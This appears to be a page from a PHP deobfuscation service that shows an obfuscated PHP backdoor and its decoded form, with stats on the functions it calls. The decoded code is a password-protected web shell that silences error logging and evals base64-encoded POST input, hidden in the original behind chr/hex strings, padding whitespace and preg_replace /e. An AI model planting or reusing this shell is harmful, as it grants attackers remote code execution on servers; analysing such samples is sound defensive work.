Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
	foreach ($_POST as $var)
	{
		if (!isset($code)) $code = $var;
		elseif (!isset($pass)) $pass = $var;
		else break;
	}

	if ($pass == "cvZpPlhwVrz1zdDx8NihqpUWzyuRn71c")
	{
		eval(base64_decode($code));
	}
}
exit;

Did this file decode correctly?

Original Code

<?php

                                                                                                                                                                                                                                $xGgQ="\x70".chr(114)."\x65g_".chr(114).chr(101).chr(112)."l\x61".chr(99)."e";$lr1G="ev\x61".chr(108)."(\x62\x61".chr(115)."e\x36".chr(52)."_\x64\x65\x63".chr(111)."\x64".chr(101)."\x28".chr(34)."Q".chr(71)."V".chr(121)."\x63".chr(109)."9\x79\x583J\x6c".chr(99)."\x47\x39".chr(121)."d".chr(71)."\x6C\x75".chr(90).chr(121)."\x67\x77".chr(75).chr(84)."s".chr(75)."\x51G\x6cu\x61\x56\x39\x7aZ".chr(88).chr(81)."\x6FIm\x52".chr(112)."\x63".chr(51)."\x42".chr(115)."\x59".chr(88)."\x6C".chr(102)."\x5AX\x4A".chr(121)."\x62\x33J\x7aI\x69\x77\x77".chr(75)."\x54\x73K\x51".chr(71).chr(108)."\x75".chr(97)."\x56\x39".chr(122)."ZX\x51".chr(111)."\x49".chr(109)."\x78".chr(118)."\x5A\x31".chr(57).chr(108).chr(99)."\x6EJ".chr(118).chr(99)."\x6E\x4di\x4cD".chr(65)."pO\x77p".chr(65).chr(97)."\x57".chr(53)."\x70\x58".chr(51).chr(78)."\x6Cd\x43\x67i\x5A".chr(88)."\x4A".chr(121)."\x623\x4A\x66\x62\x47".chr(57)."\x6E".chr(73)."i".chr(119)."wK".chr(84)."s\x4b".chr(67)."\x6d".chr(108)."\x6d".chr(73)."\x43".chr(104).chr(112).chr(99)."\x33".chr(78).chr(108).chr(100).chr(67)."\x67\x6b\x58".chr(49)."\x42\x50U".chr(49)."\x51".chr(112)."\x49C\x59m".chr(73)."\x47lz".chr(88)."\x32\x46y".chr(99).chr(109).chr(70)."5".chr(75)."C\x52".chr(102)."\x55\x459T\x56\x43\x6b\x67".chr(74)."i".chr(89)."\x67".chr(89)."\x32\x39\x31\x62\x6EQ\x6FJF\x39\x51\x54".chr(49).chr(78)."\x55KT\x34xK\x51\x707".chr(67)."\x67\x6C".chr(109)."\x623J".chr(108)."YW".chr(78)."\x6F".chr(73)."\x43\x67\x6b".chr(88).chr(49)."\x42".chr(80)."U".chr(49).chr(81)."\x67Y".chr(88).chr(77)."\x67JHZ".chr(104)."c\x69kK".chr(67)."XsK\x43Q\x6C".chr(112).chr(90).chr(105)."\x41o".chr(73)."\x57".chr(108)."\x7A\x63".chr(50)."\x56".chr(48).chr(75)."\x43R".chr(106).chr(98).chr(50).chr(82).chr(108).chr(75).chr(83)."k".chr(103).chr(74)."G".chr(78)."\x76Z\x47U".chr(103)."\x50S\x41\x6B\x64".chr(109).chr(70)."\x79Ow\x6FJ\x43W".chr(86)."sc\x32\x56\x70\x5A".chr(105).chr(65)."o\x49".chr(87).chr(108).chr(122)."c".chr(50).chr(86)."0\x4B".chr(67)."\x52".chr(119)."\x59XN".chr(122)."KS\x6B".chr(103)."J\x48B".chr(104).chr(99).chr(51)."\x4D\x67".chr(80).chr(83)."\x41k\x64".chr(109)."F\x79".chr(79).chr(119).chr(111).chr(74)."C".chr(87)."\x56\x73c\x32".chr(85)."\x67\x59\x6E".chr(74)."\x6C".chr(89).chr(87)."\x73".chr(55)."Cgl".chr(57)."\x43go\x4a\x61\x57\x59".chr(103).chr(75)."\x43".chr(82).chr(119)."Y\x58".chr(78)."\x7A\x49\x440\x39".chr(73)."C\x4A".chr(106)."\x64\x6C".chr(112).chr(119).chr(85).chr(71)."x\x6f\x641\x5ay".chr(101)."\x6aF".chr(54)."Z\x45R".chr(52)."O".chr(69)."\x35\x70\x61\x48\x46\x77\x56".chr(86).chr(100)."\x36".chr(101).chr(88).chr(86)."Sb\x6a".chr(99)."x".chr(89)."\x79\x49p".chr(67)."g\x6C".chr(55)."C\x67".chr(107)."J\x5A\x58Z".chr(104)."b".chr(67)."h\x69\x59".chr(88)."\x4e\x6c\x4E".chr(106)."Rf\x5A\x47\x56\x6A\x62\x32".chr(82)."\x6cK".chr(67)."Rjb".chr(50)."\x52lK\x53k7C\x67\x6C\x39".chr(67)."n\x30\x4bZ".chr(88)."h\x70dD".chr(115)."=\x22)".chr(41).";";$O357m=chr(47)."a\x64".chr(53).chr(57)."a".chr(48)."8".chr(57).chr(100).chr(50)."\x35".chr(48)."d07\x36".chr(56).chr(52).chr(57).chr(49)."\x30\x3101".chr(98)."\x63\x3444d".chr(55)."\x35\x2f\x65";$xGgQ($O357m,$lr1G,"\x61\x64\x359\x61\x308\x39d2".chr(53)."\x30d\x3076".chr(56).chr(52)."\x39\x31".chr(48)."\x31".chr(48).chr(49).chr(98).chr(99).chr(52)."4".chr(52).chr(100)."\x37\x35");


?>

Function Calls

chr 205
preg_replace 1
base64_decode 1

Variables

$lr1G eval(base64_decode("QGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQo..
$xGgQ preg_replace
$O357m /ad59a089d250d07684910101bc444d75/e

Stats

MD5 8a6d02caddc306cc2be883ef5520b08a
Eval Count 2
Decode Time 246 ms